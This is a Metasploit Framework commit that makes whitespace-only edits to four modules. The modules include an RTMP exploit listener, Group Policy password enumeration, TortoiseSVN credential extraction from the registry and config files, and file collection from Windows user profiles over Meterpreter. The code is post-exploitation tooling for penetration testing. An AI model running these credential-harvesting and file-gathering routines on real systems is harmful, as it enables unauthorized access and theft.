Whitespace fixes. msftidy.rb yall

unstable
Tod Beardsley 2012-06-27 10:06:15 -05:00
parent 2dd51690c2
commit 94e28933c8
4 changed files with 34 additions and 34 deletions

View File

@ -249,9 +249,9 @@ class Metasploit3 < Msf::Exploit::Remote
'Context' => {
'Msf' => framework,
'MsfExploit' => self,
}
}
)
# Register callbacks
@rtmp_listener.on_client_connect_proc = Proc.new { |cli|
add_socket(cli)
@ -360,7 +360,7 @@ class Metasploit3 < Msf::Exploit::Remote
def cleanup
super
return if not @rtmp_listener
begin
@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
if @rtmp_listener.kind_of?(Rex::Socket)

View File

@ -87,12 +87,12 @@ class Metasploit3 < Msf::Post
domains.uniq!
domains.each do |domain|
domains.each do |domain|
dcs = enum_dcs(domain)
next if dcs.blank?
dcs.uniq!
tbase = []
dcs.each do |dc|
dcs.each do |dc|
print_status "Searching for Policy Share on #{dc}..."
tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
#If we got a basepath from the DC we know that we can reach it
@ -134,7 +134,7 @@ class Metasploit3 < Msf::Post
session.fs.dir.foreach(base) do |sub|
next if sub =~ /^(\.|\.\.)$/
tpath = "#{base}\\#{sub}\\Policies"
begin
begin
session.fs.dir.foreach(tpath) do |sub2|
next if sub =~ /^(\.|\.\.)$/
locals << "#{tpath}\\#{sub2}\\"
@ -172,9 +172,9 @@ class Metasploit3 < Msf::Post
:dc => spath[2],
:path => path,
:xml => REXML::Document.new(data).root
}
}
if spath[4] == "sysvol"
retobj[:domain] = spath[5]
retobj[:domain] = spath[5]
else
retobj[:domain] = spath[4]
end
@ -202,7 +202,7 @@ class Metasploit3 < Msf::Post
user = node.attributes['newName'] unless node.attributes['newName'].blank?
changed = node.parent.attributes['changed']
expires = node.attributes['expires']
expires = node.attributes['expires']
never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled']

View File

@ -25,7 +25,7 @@ class Metasploit3 < Msf::Post
'SessionTypes' => [ 'meterpreter' ]
))
end
def prepare_railgun
rg = session.railgun
if (!rg.get_dll('crypt32'))
@ -63,7 +63,7 @@ class Metasploit3 < Msf::Post
# Check if user proxy setting are utilized
@key_base = "HKCU\\Software\\TortoiseSVN\\Servers\\global\\"
http_proxy_password = registry_getvaldata("#{@key_base}", 'http-proxy-password')
if http_proxy_password == nil
return
else
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Post
http_proxy_username= registry_getvaldata("#{@key_base}", 'http-proxy-username')
http_proxy_host = registry_getvaldata("#{@key_base}", 'http-proxy-host')
http_proxy_port = registry_getvaldata("#{@key_base}", 'http-proxy-port')
# Output results to screen
print_status(" Host: #{http_proxy_host}")
print_status(" Port: #{http_proxy_port}")
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
print_status(" Password: #{http_proxy_password}")
print_status("")
end
# Report proxy creds
if session.db_record
source_id = session.db_record.id
@ -95,8 +95,8 @@ class Metasploit3 < Msf::Post
:source_type => "exploit",
:user => http_proxy_username,
:pass => http_proxy_password)
end
end
def get_config_files
# Determine if TortoiseSVN is installed and parse config files
savedpwds = 0
@ -111,21 +111,21 @@ class Metasploit3 < Msf::Post
end
rescue => e
print_error "Exception raised: #{e.message}"
print_status("No configuration files located: TortoiseSVN may not be installed or configured.")
print_status("No configuration files located: TortoiseSVN may not be installed or configured.")
return
end
if savedpwds == 0
print_status("No configuration files located")
end
end
def analyze_file(filename)
config = client.fs.file.new(filename, 'r')
contents = config.read
config_lines = contents.split("\n")
print_good("Account Found:")
line_num = 0
@ -147,9 +147,9 @@ class Metasploit3 < Msf::Post
host = $2
portnum = $3
portnum.gsub! "\r", "" #Remove \r (not common)
end
end
else
url = "<Unknown/Error>"
url = "<Unknown/Error>"
end
elsif line_num == 16
user_name = line
@ -157,19 +157,19 @@ class Metasploit3 < Msf::Post
end
end
config.close
#Handle null values or errors
if user_name == nil
user_name = "<Unknown/Error>"
end
# Output results to screen
print_status(" URL: #{url}")
print_status(" Realm: #{realm}")
print_status(" User Name: #{user_name}")
print_status(" Password: #{password}")
print_status("")
# Report
if session.db_record
source_id = session.db_record.id
@ -185,14 +185,14 @@ class Metasploit3 < Msf::Post
:user => user_name,
:pass => password)
print_debug "Should have reported..."
# Set savedpwds to 1 on return
return 1
return 1
end
def run
# Get uid. Decryption will only work if executed under the same user account as the password was encrypted.
uid = session.sys.config.getuid
uid = session.sys.config.getuid
if is_system?
print_error("This module is running under #{uid}.")
@ -207,5 +207,5 @@ class Metasploit3 < Msf::Post
print_status("Complete")
end
end

View File

@ -12,7 +12,7 @@ class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Generic File Collection',
@ -58,9 +58,9 @@ class Metasploit3 < Msf::Post
def download_files(location, file_type)
sysdriv = client.fs.file.expand_path("%SYSTEMDRIVE%")
sysnfo = client.sys.config.sysinfo['OS']
sysnfo = client.sys.config.sysinfo['OS']
profile_path_old = sysdriv + "\\Documents and Settings\\"
profile_path_new = sysdriv + "\\Users\\"
profile_path_new = sysdriv + "\\Users\\"
if location
print_status("Searching #{location}")
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Post
elsif sysnfo =~/(Windows XP|2003|.NET)/
print_status("Searching #{profile_path_old} through windows user profile structure")
getfile = client.fs.file.search(profile_path_old,file_type,recurse=true,timeout=-1)
else
else
# For systems such as: Windows 7|Windows Vista|2008
print_status("Searching #{profile_path_new} through windows user profile structure")
getfile = client.fs.file.search(profile_path_new,file_type,recurse=true,timeout=-1)